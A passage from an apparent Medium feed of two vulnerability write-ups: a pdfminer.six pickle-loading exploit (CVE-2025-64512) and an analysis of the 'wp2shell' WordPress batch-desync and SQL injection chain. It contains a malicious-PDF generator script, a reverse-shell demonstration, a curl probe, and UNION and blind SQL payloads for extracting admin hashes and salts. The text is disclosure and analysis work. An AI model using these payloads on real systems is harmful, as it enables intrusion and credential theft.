#2F within PDF Name objects:</p><pre>5 0 obj<br>&lt;&lt;<br>/Type /Font<br>/Subtype /Type0<br>/BaseFont /MaliciousFont-Identity-H<br>/Encoding /#2Fpdfs#2Fmalicious<br>/DescendantFonts [6 0 R]<br>&gt;&gt;<br>endobj</pre><p>The script malicious_pdf.py automates generating a PDF with the encoded /Encoding path:</p><pre>#!/usr/bin/env python3<br><br>import argparse<br>parser = argparse.ArgumentParser(description=&quot;Generate malicious PDF for CVE-2025-64512&quot;)<br>parser.add_argument(&#39;-o&#39;, &#39;--output&#39;, default=&#39;malicious.pdf&#39;, help=&#39;Output PDF filename&#39;)<br>parser.add_argument(&#39;-p&#39;, &#39;--path&#39;, default=&#39;./uploads/payload&#39;,<br>                    help=&#39;Path to pickle file (pdfminer appends .pickle.gz)&#39;)<br>args = parser.parse_args()<br># Encode path for PDF name object: / becomes #2F, . stays ., etc.<br>def encode_pdf_name(path):<br>    result = &quot;/&quot;<br>    for char in path:<br>        if char.isalnum() or char in &quot;-_.&quot;:<br>            result += char<br>        else:<br>            result += f&quot;#{ord(char):02X}&quot;<br>    return result<br>encoding_name = encode_pdf_name(args.path)<br>pdf_content = f&quot;&quot;&quot;%PDF-1.4<br>1 0 obj<br>&lt;&lt;<br>/Type /Catalog<br>/Pages 2 0 R<br>&gt;&gt;<br>endobj<br>2 0 obj<br>&lt;&lt;<br>/Type /Pages<br>/Kids [3 0 R]<br>/Count 1<br>&gt;&gt;<br>endobj<br>3 0 obj<br>&lt;&lt;<br>/Type /Page<br>/Parent 2 0 R<br>/MediaBox [0 0 612 792]<br>/Contents 4 0 R<br>/Resources<br>&lt;&lt;<br>/Font<br>&lt;&lt;<br>/F1 5 0 R<br>&gt;&gt;<br>&gt;&gt;<br>&gt;&gt;<br>endobj<br>4 0 obj<br>&lt;&lt;<br>/Length 44<br>&gt;&gt;<br>stream<br>BT<br>/F1 12 Tf<br>100 700 Td<br>(Malicious PDF) Tj<br>ET<br>endstream<br>endobj<br>5 0 obj<br>&lt;&lt;<br>/Type /Font<br>/Subtype /Type0<br>/BaseFont /MaliciousFont-Identity-H<br>/Encoding {encoding_name}<br>/DescendantFonts [6 0 R]<br>&gt;&gt;<br>endobj<br>6 0 obj<br>&lt;&lt;<br>/Type /CIDFontType2<br>/BaseFont /MaliciousFont<br>/CIDSystemInfo<br>&lt;&lt;<br>/Registry (Adobe)<br>/Ordering (Identity)<br>/Supplement 0<br>&gt;&gt;<br>/FontDescriptor 7 0 R<br>&gt;&gt;<br>endobj<br>7 0 obj<br>&lt;&lt;<br>/Type /FontDescriptor<br>/FontName /MaliciousFont<br>/Flags 4<br>/FontBBox [-1000 -1000 1000 1000]<br>/ItalicAngle 0<br>/Ascent 1000<br>/Descent -200<br>/CapHeight 800<br>/StemV 80<br>&gt;&gt;<br>endobj<br>xref<br>0 8<br>0000000000 65535 f<br>0000000009 00000 n<br>0000000058 00000 n<br>0000000115 00000 n<br>0000000274 00000 n<br>0000000370 00000 n<br>0000000503 00000 n<br>0000000673 00000 n<br>trailer<br>&lt;&lt;<br>/Size 8<br>/Root 1 0 R<br>&gt;&gt;<br>startxref<br>871<br>%%EOF<br>&quot;&quot;&quot;<br>with open(args.output, &#39;w&#39;) as f:<br>    f.write(pdf_content)<br>print(f&quot;[+] Malicious PDF saved to: {args.output}&quot;)<br>print(f&quot;[+] /Encoding points to: {encoding_name}&quot;)<br>print(f&quot;[+] pdfminer will look for: {args.path}.pickle.gz&quot;)<br>print()<br>print(&quot;Next steps:&quot;)<br>print(f&quot;  1. Ensure {args.path}.pickle.gz exists on the target&quot;)<br>print(f&quot;  2. Run: pdf2txt.py {args.output}&quot;)</pre><p>Execution Output:</p><pre>┌──(kali㉿kali)-[~/CVE-2025-64512]<br>└─$ python3 malicious_pdf.py -o pwn.pdf -p &quot;/home/kali/CVE-2025-64512/pwn&quot;            <br>[+] Malicious PDF saved to: pwn.pdf<br>[+] /Encoding points to: /#2Fhome#2Fkali#2FCVE-2025-64512#2Fpwn<br>[+] pdfminer will look for: /home/kali/CVE-2025-64512/pwn.pickle.gz<br><br>Next steps:<br>  1. Ensure /home/kali/CVE-2025-64512/pwn.pickle.gz exists on the target<br>  2. Run: pdf2txt.py pwn.pdf</pre><h3>Step 3: Setting Up the Vulnerable Environment</h3><p>Installing a vulnerable version of pdfminer.six (&lt; 20251107) inside a Python virtual environment:</p><pre>┌──(kali㉿kali)-[~/CVE-2025-64512]<br>└─$ python3 -m venv venv                 <br>          <br>┌──(kali㉿kali)-[~/CVE-2025-64512]<br>└─$ source venv/bin/activate<br>      <br>┌──(venv)─(kali㉿kali)-[~/CVE-2025-64512]<br>└─$ pip install &#39;pdfminer.six&lt;20251107&#39; <br>  <br>┌──(venv)─(kali㉿kali)-[~/CVE-2025-64512]<br>└─$ pdf2txt.py --version               <br>pdfminer.six v20250506</pre><h3>Step 4: Setting Up Listener &amp; Executing Exploitation</h3><p>Start a netcat listener to catch the reverse shell connection:</p><pre>┌──(kali㉿kali)-[~/CVE-2025-64512]<br>└─$ rlwrap -cAr nc -lvnp 4444<br>listening on [any] 4444 ...</pre><p>In a separate terminal, trigger the vulnerability by processing pwn.pdf with pdf2txt.py:</p><pre>┌──(venv)─(kali㉿kali)-[~/CVE-2025-64512]<br>└─$ pdf2txt.py pwn.pdf</pre><h3>Step 5: Reverse Shell Verification</h3><p>Upon execution, pdf2txt.py parses pwn.pdf, extracts the /Encoding path /home/kali/CVE-2025-64512/pwn, appends .pickle.gz, reads /home/kali/CVE-2025-64512/pwn.pickle.gz, and deserializes the payload—granting an interactive shell:</p><pre>┌──(kali㉿kali)-[~/CVE-2025-64512]<br>└─$ rlwrap -cAr nc -lvnp 4444<br>listening on [any] 4444 ...<br>connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 46968<br>┌──(venv)(kali㉿kali)-[~/CVE-2025-64512]<br>└─$ id<br>id<br>uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer),134(docker)</pre><h2>Remediation &amp; Patch Analysis</h2><p>To remediate CVE-2025–64512:</p><ol><li><strong>Upgrade </strong><strong>pdfminer.six:</strong> Update pdfminer.six to version <strong>20251107</strong> or later.</li><li><strong>Patch Details (Commit </strong><strong>b808ee0):</strong> The patch sanitizes the CMap resource name parameter, ensuring that CMap files can only be loaded from within the official package resource directory, blocking arbitrary directory traversal and path loading.</li></ol><h2>References</h2><ul><li><a href="https://github.com/advisories/GHSA-wf5f-4jwr-ppcp">GitHub Security Advisory (GHSA-wf5f-4jwr-ppcp)</a></li><li><a href="https://github.com/pdfminer/pdfminer.six/commit/b808ee0">pdfminer.six Fix Commit (b808ee0)</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-64512">NVD Detail (CVE-2025–64512)</a></li><li><a href="https://github.com/pdfminer/pdfminer.six/releases/tag/20251107">pdfminer.six Release 20251107</a></li><li><a href="https://lists.debian.org/debian-lts-announce/2025/11/msg00017.html">Debian Advisory (msg00017)</a></li><li><a href="https://lists.debian.org/debian-lts-announce/2026/01/msg00005.html">Debian Advisory (msg00005)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b28310aa7902" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[wp2shell: Pre-Authentication Remote Code Execution in WordPress Core]]></title>
            <link>https://medium.com/@c0gnit00/wp2shell-pre-authentication-remote-code-execution-in-wordpress-core-0f52142aae96?source=rss-60fce9fc52b2------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f52142aae96</guid>
            <dc:creator><![CDATA[c0gnit00]]></dc:creator>
            <pubDate>Sun, 19 Jul 2026 06:26:48 GMT</pubDate>
            <atom:updated>2026-07-19T06:26:48.795Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>CVE-2026–60137</strong> (SQL Injection in WP_Query) and <strong>CVE-2026–63030</strong> (REST API Batch Route Confusion)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ip4rUZCbdzfhSQ7i.png" /></figure><p><strong>Severity:</strong> Critical — CVSS 10.0 | <strong>Authentication Required:</strong> None | <strong>Attack Vector:</strong> Network</p><p><strong>Affected Versions:</strong> WordPress 6.9.0 through 6.9.4, and 7.0.0 through 7.0.1. <strong>Fixed in:</strong> 6.9.5 and 7.0.2. <strong>Disclosed:</strong> July 17, 2026. <strong>Discovered by:</strong> Searchlight Cyber, Assetnote Attack Surface Unit.</p><h2>1. Executive Summary</h2><p>On July 17, 2026, researchers from Searchlight Cyber’s Assetnote unit publicly disclosed <strong>wp2shell</strong>, a pre-authentication remote code execution vulnerability affecting WordPress Core versions 6.9.0 through 7.0.1. The name reflects the attack’s outcome: a web shell dropped onto the server with no credentials, no plugins, and no special server configuration required.</p><p>wp2shell is not a single defect. It is the product of two independently rated vulnerabilities working in sequence. The first, <strong>CVE-2026–63030</strong>, is a logical flaw in WordPress’s REST API batch dispatcher that causes the framework to validate a request under one route’s schema but execute it under an entirely different route’s handler. The second, <strong>CVE-2026–60137</strong>, is a SQL injection in WP_Query — the central query class WordPress uses for almost every database interaction — that surfaces when an unsanitized string reaches the author__not_in parameter directly.</p><p>Neither defect alone reaches remote code execution. Chained in sequence, they provide an unauthenticated attacker with a clear path from a single HTTP request to arbitrary OS command execution on the target web server. WordPress responded by issuing emergency patches and, unusually, enabling forced automatic updates across the affected install base — a signal of the severity with which the project itself evaluated this risk.</p><p>WordPress powers an estimated 500 million websites globally. Because the vulnerable code paths are default endpoints present in every standard installation, the exposed population is among the largest ever recorded for a single web application vulnerability.</p><h2>2. Background and Theory</h2><h3>2.1 What is the WordPress REST API?</h3><p>Since version 4.7, WordPress ships with a REST (Representational State Transfer) API enabled by default. This API exposes a structured set of HTTP endpoints that allow external clients — mobile applications, JavaScript frontends, third-party integrations — to read and modify WordPress data over plain HTTP without requiring PHP knowledge or direct database access.</p><p>Every REST endpoint is reachable through one of two URL forms:</p><pre>https://example.com/wp-json/wp/v2/posts       # requires pretty permalinks<br>https://example.com/?rest_route=/wp/v2/posts  # works on any permalink setting</pre><p>Each endpoint is defined by a <strong>route</strong> (the URL path pattern), a set of accepted <strong>HTTP methods</strong>, and a <strong>schema</strong> describing the parameters that the endpoint accepts. WordPress enforces this schema through a sanitization and validation pipeline before any application logic runs.</p><h3>2.2 What is the Batch Endpoint?</h3><p>WordPress 5.6 (released December 2020) introduced /wp-json/batch/v1, a batch processing endpoint that allows a client to package multiple independent API requests into a single HTTP call. This reduces network round-trips for clients that need to perform several operations at once.</p><p>A batch request looks like this:</p><pre>POST /?rest_route=/batch/v1<br>Content-Type: application/json</pre><pre>{<br>  &quot;requests&quot;: [<br>    { &quot;method&quot;: &quot;GET&quot;,  &quot;path&quot;: &quot;/wp/v2/posts&quot; },<br>    { &quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;/wp/v2/comments&quot;, &quot;body&quot;: { &quot;content&quot;: &quot;Hello&quot; } }<br>  ]<br>}</pre><p>WordPress processes each sub-request through the same routing, validation, and dispatch pipeline it uses for direct requests, then assembles the individual responses into a combined JSON object returned to the caller.</p><p>The batch endpoint is present and enabled on every default WordPress installation that is running 5.6 or later. It does not require authentication to reach — only specific operations within it require credentials.</p><h3>2.3 What is WP_Query?</h3><p>WP_Query is the central WordPress class responsible for constructing and executing SQL queries against the wp_posts database table. Nearly every page load, archive listing, search result, and REST API response that involves posts passes through WP_Query. Because of its central role, any injection point within WP_Query&#39;s SQL construction logic has a broad blast radius.</p><p>WP_Query accepts a large array of query variables — post_status, author__in, author__not_in, orderby, per_page, and many others. Most of these are sanitized through WordPress&#39;s input handling pipeline before they reach WP_Query. The vulnerability in CVE-2026-60137 exists at the boundary where that sanitization is bypassed.</p><h3>2.4 SQL Injection — Theory</h3><p>SQL injection is a class of vulnerability that occurs when attacker-controlled data is incorporated into a SQL query without adequate sanitization. When user input reaches the query string directly, the attacker can alter the structure of the query — closing existing clauses, appending new ones, or introducing entirely new SELECT statements through the UNION operator.</p><p>A UNION SELECT injection is particularly powerful because it allows the attacker to append a second query that returns attacker-chosen data through the same result set the application returns to the caller. If the application then reflects that data back in its HTTP response — as WordPress&#39;s REST API does with post titles — the attacker can extract arbitrary database content through a sequence of single HTTP requests, one value per request.</p><h3>2.5 Route Confusion and Schema Bypass — Theory</h3><p>Web frameworks that implement routing typically perform two steps for each incoming request: first, they <strong>match</strong> the request to a handler based on the URL path; second, they <strong>validate</strong> the request’s parameters against a schema defined for that handler. If these two steps operate on different data — or if the index that links them becomes desynchronized — the framework can validate parameters against the wrong schema and then execute the request under a handler that expects different, possibly unsanitized input.</p><p>This class of logic error is sometimes called <strong>handler desynchronization</strong> or <strong>route confusion</strong>. It does not require overwriting memory, bypassing cryptography, or exploiting undefined behavior. It exploits a simple off-by-one error in array indexing that causes the validation and dispatch phases of the request pipeline to operate on different entries.</p><h2>3. CVE-2026–63030 — REST API Batch Route Confusion</h2><h3>3.1 Vulnerability Description</h3><p>CVE-2026–63030 is a handler desynchronization vulnerability in the WordPress REST API batch dispatcher, located in wp-includes/rest-api/class-wp-rest-server.php. The flaw causes the framework&#39;s validation phase and its dispatch phase to process different sub-requests when a malformed path is included in the batch payload. As a result, an attacker can have a sub-request validated against a permissive schema while the application executes it under a handler that operates with a stricter schema&#39;s parameters having already been dropped.</p><h3>3.2 Affected Versions</h3><p>CVE-2026–63030 affects the 7.0.x branch from 7.0.0 through 7.0.1, fixed in 7.0.2, and the 6.9.x branch from 6.9.0 through 6.9.4, fixed in 6.9.5. The 6.8.x branch is not affected by this specific CVE.</p><h3>3.3 The Vulnerable Code</h3><p>The function serve_batch_request_v1() iterates over the incoming sub-requests in two separate phases. In the matching phase, it attempts to resolve each request to a registered route handler. When a sub-request contains a path that cannot be parsed — such as &quot;///&quot; — wp_parse_url() returns false, and WordPress creates a WP_Error object instead of a matched route.</p><p>The critical flaw is in how these two outcomes are stored:</p><pre>// wp-includes/rest-api/class-wp-rest-server.php (simplified)</pre><pre>$responses      = array();<br>$matched_routes = array();</pre><pre>foreach ( $requests as $i =&gt; $request_params ) {<br>    $route_match = $this-&gt;match_route_to_request( $request_params );</pre><pre>    if ( is_wp_error( $route_match ) ) {<br>        // WP_Error is appended to $responses using PHP&#39;s auto-increment key<br>        // This consumes index $i in $responses<br>        $responses[] = rest_convert_error_to_response( $route_match );<br>        continue; // &lt;-- skips appending to $matched_routes<br>    }</pre><pre>    // Valid matches go into $matched_routes at a DIFFERENT index<br>    // After one WP_Error, $matched_routes is one index behind $responses<br>    $matched_routes[] = $route_match;<br>}</pre><pre>// The dispatch loop then pairs $requests[$i] with $matched_routes[$i]<br>// When indexes are desynchronized, request[1] is dispatched under<br>// the handler that was matched to request[2]<br>foreach ( $requests as $i =&gt; $request_params ) {<br>    if ( isset( $matched_routes[ $i ] ) ) {<br>        $responses[ $i ] = $this-&gt;dispatch( $request_params, $matched_routes[ $i ] );<br>    }<br>}</pre><p>The consequence of inserting one WP_Error at position zero is that every subsequent entry in $matched_routes is stored at an index that is one less than the corresponding entry in $requests. When the dispatch loop runs, it pairs each request with the wrong handler — a request intended for Route A is dispatched through Route B&#39;s code path, having been validated against Route A&#39;s schema.</p><h3>3.4 Exploiting the Desync</h3><p>The attack introduces a deliberate WP_Error by sending &quot;///&quot; as the path of the first sub-request. This path cannot be parsed by wp_parse_url(), so it produces a WP_Error at index 0, shifting every subsequent $matched_routes entry back by one position.</p><p>To bypass the batch endpoint’s restriction that sub-requests must use write methods (POST, PUT, PATCH, DELETE), the exploit uses <strong>two levels</strong> of desync. The outer batch desync causes a POST /wp/v2/posts request (which carries an inner batch as its body) to be dispatched under the /batch/v1 handler. WordPress then processes the inner batch recursively.</p><p>Inside the inner batch, a second desync causes a GET request for /wp/v2/posts/999999 — the single-post item route — to be dispatched under the posts <strong>collection</strong> handler get_items(). This is the critical step: the single-post item schema does not define an author_exclude parameter, so sanitize_params() silently drops it during validation. But when the request is executed under the collection handler, author_exclude is mapped directly to WP_Query&#39;s author__not_in variable with the attacker&#39;s raw value intact.</p><h3>3.5 Detection Probe</h3><p>The following probe confirms whether a target is vulnerable by checking for the three fingerprint error codes that appear only when the desync is functioning as expected:</p><pre>curl -s -X POST &#39;http://localhost:8080/?rest_route=/batch/v1&#39; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{<br>    &quot;requests&quot;: [<br>      {&quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;///&quot;},<br>      {&quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;/wp/v2/posts&quot;},<br>      {&quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;/wp/v2/block-renderer/core/archives&quot;},<br>      {&quot;method&quot;: &quot;POST&quot;, &quot;path&quot;: &quot;/batch/v1&quot;, &quot;body&quot;: {&quot;requests&quot;: []}}<br>    ]<br>  }&#39; | grep -o &#39;&quot;code&quot;:&quot;[^&quot;]*&quot;&#39; | sort -u</pre><p>A vulnerable host returns all three of the following codes:</p><pre>&quot;code&quot;:&quot;block_cannot_read&quot;<br>&quot;code&quot;:&quot;parse_path_failed&quot;<br>&quot;code&quot;:&quot;rest_batch_not_allowed&quot;</pre><p>Each code reveals something specific. parse_path_failed confirms that the &quot;///&quot; primer produced a WP_Error and triggered the index shift. block_cannot_read shows that a POST request landed on the block renderer handler instead of its intended target, which proves the outer desync is functioning. rest_batch_not_allowed confirms that a nested batch executed inside the outer batch, proving the inner batch bypass is working. All three together indicate the target is vulnerable.</p><h2>4. CVE-2026–60137 — SQL Injection in WP_Query</h2><h3>4.1 Vulnerability Description</h3><p>CVE-2026–60137 is a SQL injection vulnerability in WP_Query, WordPress&#39;s primary database query class. The flaw is caused by incomplete sanitization of the author__not_in query variable: the absint() function that strips non-numeric content from the value is only applied when the variable is an array. When the variable arrives as a string, the raw value is concatenated directly into a SQL NOT IN clause without any sanitization, allowing an attacker to terminate the clause and inject arbitrary SQL.</p><h3>4.2 Affected Versions</h3><p>CVE-2026–60137 affects the 7.0.x branch from 7.0.0 through 7.0.1, fixed in 7.0.2. The 6.9.x branch is affected from 6.9.0 through 6.9.4, fixed in 6.9.5. The 6.8.x branch is also affected, from 6.8.0 through 6.8.5, with the fix backported to 6.8.6.</p><h3>4.3 How author__not_in is Reached Through the API</h3><p>Understanding the vulnerability requires tracing exactly how a value supplied in an HTTP request ends up inside a raw SQL string. Under normal operation this path is safe. CVE-2026–63030 creates the one condition under which it is not.</p><p><strong>The REST API parameter: </strong><strong>author_exclude</strong></p><p>The posts collection endpoint (GET /wp/v2/posts) exposes a public parameter called author_exclude. Its REST schema definition reads:</p><pre>// wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php<br>&#39;author_exclude&#39; =&gt; array(<br>    &#39;description&#39; =&gt; &#39;Ensure result set excludes posts assigned to specific authors.&#39;,<br>    &#39;type&#39;        =&gt; &#39;array&#39;,<br>    &#39;items&#39;       =&gt; array( &#39;type&#39; =&gt; &#39;integer&#39; ),<br>    &#39;default&#39;     =&gt; array(),<br>),</pre><p>The type: array, items: { type: integer } constraint means WordPress&#39;s schema validator will reject any non-integer value and cast each element to an integer before the handler runs. A request like:</p><pre>GET /wp/v2/posts?author_exclude=1) OR 1=1-- -</pre><p>would normally be sanitized to [1] — the SQL injection payload is stripped entirely during the schema validation phase.</p><p><strong>How CVE-2026–63030 bypasses this protection</strong></p><p>The single-post item route (GET /wp/v2/posts/{id}) does not define author_exclude in its schema at all. When the batch desync causes a request for /wp/v2/posts/999999?author_exclude=PAYLOAD to be validated against the item route&#39;s schema, sanitize_params() finds no registered parameter with that name and silently discards it from the validated parameter set — but the raw query string value remains in the underlying WP_REST_Request object.</p><p>When the request is then dispatched under the collection handler get_items(), that handler calls $this-&gt;prepare_items_query(), which reads author_exclude directly from the raw request and maps it to WP_Query&#39;s author__not_in argument without the integer type coercion that would have applied had the collection schema been used. The raw string the attacker supplied is what reaches WP_Query.</p><p><strong>API request that delivers the payload (via batch desync):</strong></p><pre>{<br>  &quot;method&quot;: &quot;GET&quot;,<br>  &quot;path&quot;: &quot;/wp/v2/posts/999999?author_exclude=0) UNION SELECT ...-- -&amp;orderby=none&amp;per_page=500&quot;<br>}</pre><p>This sub-request sits inside the inner batch, which itself sits inside the outer batch. The path /wp/v2/posts/999999 selects the item schema for validation, but the handler that ultimately executes is the collection&#39;s get_items(), which reads author_exclude from the raw request string and constructs a WP_Query with:</p><pre>$query_args[&#39;author__not_in&#39;] = &#39;0) UNION SELECT ...&#39;  // raw string, not array</pre><h3>4.4 The Vulnerable Code (Annotated)</h3><p>The injection sink is in wp-includes/class-wp-query.php at approximately line 2800:</p><pre>// wp-includes/class-wp-query.php  (~line 2800-2808)</pre><pre>if ( ! empty( $query_vars[&#39;author__not_in&#39;] ) ) {</pre><pre>    if ( is_array( $query_vars[&#39;author__not_in&#39;] ) ) {<br>        // absint() ONLY applied when value is an array<br>        $query_vars[&#39;author__not_in&#39;] = array_unique(<br>            array_map( &#39;absint&#39;, $query_vars[&#39;author__not_in&#39;] )<br>        );<br>        sort( $query_vars[&#39;author__not_in&#39;] );<br>    }<br>    // No sanitization when value is NOT an array — string reaches SQL directly<br>    $author__not_in = implode( &#39;,&#39;, (array) $query_vars[&#39;author__not_in&#39;] );<br>    $where         .= &quot; AND {$wpdb-&gt;posts}.post_author NOT IN ($author__not_in) &quot;;<br>}</pre><p>The fix in WordPress 7.0.2 is a one-line change: the absint() sanitization is moved outside the is_array() branch so it applies unconditionally before the value ever reaches implode() or the SQL clause.</p><h3>4.5 Step-by-Step PHP Execution Trace</h3><p>The following traces the exact execution path for the simple payload &#39;1) OR 1=1 -- &#39; to illustrate the mechanics before introducing the full UNION attack.</p><p><strong>Step 1 — The input</strong></p><pre>$query_vars[&#39;author__not_in&#39;] = &#39;1) OR 1=1 -- &#39;;</pre><p><strong>Step 2 — The empty check</strong></p><pre>if ( ! empty( $query_vars[&#39;author__not_in&#39;] ) ) {</pre><p>empty(&#39;1) OR 1=1 -- &#39;) evaluates to false because the string is non-empty. !false is true. Execution enters the block.</p><p><strong>Step 3 — The flawed array check</strong></p><pre>if ( is_array( $query_vars[&#39;author__not_in&#39;] ) ) {<br>    $query_vars[&#39;author__not_in&#39;] = array_unique(<br>        array_map( &#39;absint&#39;, $query_vars[&#39;author__not_in&#39;] )<br>    );<br>    sort( $query_vars[&#39;author__not_in&#39;] );<br>}</pre><p>is_array(&#39;1) OR 1=1 -- &#39;) evaluates to false. The entire sanitization block is skipped. The variable still holds &#39;1) OR 1=1 -- &#39; unchanged.</p><p><strong>Step 4 — PHP type cast and implode</strong></p><pre>$author__not_in = implode( &#39;,&#39;, (array) $query_vars[&#39;author__not_in&#39;] );</pre><p>This is the exact point where the bug becomes exploitable. PHP’s (array) cast on a scalar string produces a single-element array whose only member is the original string:</p><pre>(array) &#39;1) OR 1=1 -- &#39;<br>// produces: [&#39;1) OR 1=1 -- &#39;]</pre><p>implode(&#39;,&#39;, [&#39;1) OR 1=1 -- &#39;]) joins array elements with a comma separator. With only one element, no comma is added. The result is:</p><pre>$author__not_in = &#39;1) OR 1=1 -- &#39;;<br>// identical to the input — the cast and implode did nothing to sanitize it</pre><p><strong>Step 5 — String concatenation into SQL</strong></p><pre>$where .= &quot; AND {$wpdb-&gt;posts}.post_author NOT IN ($author__not_in) &quot;;</pre><p>PHP interpolates $author__not_in directly into the string. The resulting WHERE clause fragment becomes:</p><pre>AND wp_posts.post_author NOT IN (1) OR 1=1 -- )</pre><h3>4.6 How the SQL Engine Parses the Injection</h3><p>When MySQL receives the full WHERE clause it parses it according to standard SQL operator precedence rules. The following shows the full injected clause in context:</p><pre>SELECT wp_posts.*<br>FROM   wp_posts<br>WHERE  wp_posts.post_status IN (&#39;publish&#39;)<br>AND    wp_posts.post_author NOT IN (1) OR 1=1 -- )</pre><p>The database evaluates this in three stages:</p><p><strong>Stage 1 — </strong><strong>NOT IN (1) is evaluated normally.</strong></p><p>The parser encounters NOT IN followed by an opening parenthesis and reads 1 as the list of excluded values. The closing ) terminates the IN expression. WordPress intended the closing ) to appear after the attacker&#39;s integer, but the attacker supplied it themselves prematurely.</p><p><strong>Stage 2 — </strong><strong>OR 1=1 is evaluated at the same precedence level as </strong><strong>AND.</strong></p><p>Because OR has lower precedence than AND, the SQL engine groups the conditions as:</p><pre>(wp_posts.post_status IN (&#39;publish&#39;) AND wp_posts.post_author NOT IN (1))<br>OR<br>1=1</pre><p>1=1 is always true, so the OR branch is always satisfied. The entire compound condition evaluates to TRUE for every row in the table, returning all posts regardless of status, author, or any other filter.</p><p><strong>Stage 3 — </strong><strong>-- begins a SQL comment.</strong></p><p>Everything after the double-dash comment delimiter is ignored by the parser. The trailing ) that WordPress appended to close the NOT IN clause is discarded. Without the comment, this dangling parenthesis would produce a syntax error that would terminate the query and cause an HTTP 500 response — which would alert defenders to the attempted injection. The comment prevents that.</p><h3>4.7 The Full UNION SELECT Attack</h3><p>The simple OR 1=1 payload demonstrates the injection but does not exfiltrate data. The actual exploit uses a UNION SELECT payload to append a second result set to the query&#39;s output, with attacker-chosen values in the columns that WordPress maps to post fields.</p><p><strong>Attacker input supplied via </strong><strong>author_exclude:</strong></p><pre>0) UNION SELECT 1,2,3,4,5,CONCAT(0x7c7c,HEX(VERSION()),0x7c7c),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- -</pre><p><strong>SQL assembled by WordPress:</strong></p><pre>SELECT wp_posts.*<br>FROM   wp_posts<br>WHERE  wp_posts.post_status IN (&#39;publish&#39;)<br>AND    wp_posts.post_author NOT IN (0)<br>UNION<br>SELECT 1,2,3,4,5,CONCAT(&#39;||&#39;,HEX(VERSION()),&#39;||&#39;),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- -)<br>AND    wp_posts.post_status IN (&#39;publish&#39;)</pre><p>Breaking down the payload choices:</p><p>Each element of the payload serves a specific purpose. The opening 0) closes the NOT IN ( clause with a value that matches no real author ID, ensuring no legitimate posts are returned alongside the injected row. The UNION SELECT keyword then appends a second result set with entirely attacker-controlled column values. Because wp_posts has 23 columns, the UNION must also supply 23 values — columns 1 through 5 and 7 through 23 are filled with padding integers, while column 6 maps to post_title in the REST response and carries the exfiltrated data. That data is wrapped in CONCAT(0x7c7c,HEX(...),0x7c7c), which hex-encodes the extracted value and surrounds it with || delimiters, making it immune to HTML escaping, null bytes, and special characters. Finally, -- - comments out the remainder of WordPress&#39;s original SQL to prevent the dangling closing parenthesis from causing a syntax error.</p><p>Two additional REST parameters are required for the UNION technique to work correctly:</p><ul><li>orderby=none — WordPress adds an ORDER BY clause by default. A UNION SELECT cannot appear before ORDER BY in MySQL — the ORDER BY would apply only to the first SELECT and potentially discard the injected row. orderby=none suppresses the clause entirely.</li><li>per_page=500 — Ensures WP_Query returns results in a single batch rather than a split cursor, so the injected fake-post row appears in the response body.</li></ul><p><strong>What WordPress returns in the JSON response:</strong></p><pre>{<br>  &quot;id&quot;: 5,<br>  &quot;title&quot;: {<br>    &quot;rendered&quot;: &quot;||31302e31312e31382d4d61726961444225...||&quot;<br>  },<br>  ...<br>}</pre><p>The attacker decodes the hex-encoded content between the || markers:</p><pre>import re, bytes<br>m = re.search(r&#39;\|\|([0-9A-Fa-f]+)\|\|&#39;, response_body)<br>print(bytes.fromhex(m.group(1)).decode())<br># Output: 10.11.18-MariaDB-ubu2204</pre><h3>4.8 Data Extraction Scope</h3><p>Each of the following values can be extracted with a single HTTP request by replacing the subquery in column 6:</p><p>By swapping the subquery in column 6, a single HTTP request can extract any of the following in sequence: the database version via SELECT VERSION(), the database user and host via SELECT CURRENT_USER(), the current database name via SELECT DATABASE(), and the table prefix via SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 1. From the wp_users table the attacker can pull the administrator username (SELECT user_login), password hash (SELECT user_pass), user ID (SELECT ID), and email address (SELECT user_email), each with ORDER BY ID LIMIT 1 to target the first registered account. WordPress secret keys and salts stored in wp_options are also reachable with SELECT option_value FROM wp_options WHERE option_name=&#39;auth_key&#39;.</p><p>The administrator password hash is stored using the phpass algorithm (prefixed $wp$2y$ or $P$). Cracking it requires offline dictionary or brute-force work. The exploit chain avoids this requirement entirely: the SQL injection primitive is used not to crack the password, but to write a new administrator account into wp_users directly through the oEmbed cache poisoning technique described in Section 5.</p><h3>4.9 Boolean Blind Oracle</h3><p>In addition to the in-band UNION SELECT technique, the injection point supports boolean-based blind inference through the X-WP-Total HTTP response header. This header is set by the posts collection endpoint and reports the total count of matching posts for the current query.</p><p>An attacker can inject a condition into the WHERE clause and infer whether it evaluated to true or false by observing whether X-WP-Total is non-zero:</p><pre>-- True condition (1=1): header reports &gt; 0 matching rows<br>WHERE post_author NOT IN (-1) AND (1=1)-- -</pre><pre>-- False condition (1=2): header reports 0 matching rows<br>WHERE post_author NOT IN (-1) AND (1=2)-- -</pre><p>This technique extracts one bit of information per request. Iterated over a sequence of requests with binary-search conditions, it can recover arbitrary string values character by character. It functions even when a caching layer or response filter disrupts the UNION output, making it a reliable fallback for hardened targets.</p><h2>5. How the Two Vulnerabilities Chain Together</h2><p>CVE-2026–63030 and CVE-2026–60137 are individually bounded vulnerabilities. CVE-2026–63030 is a logic error in the batch dispatcher that, without a useful injection target, produces only misdirected requests. CVE-2026–60137 is a SQL injection sink that, under normal operation, is unreachable because schema validation enforces integer types on author_exclude before the value reaches WP_Query.</p><p>The chain works 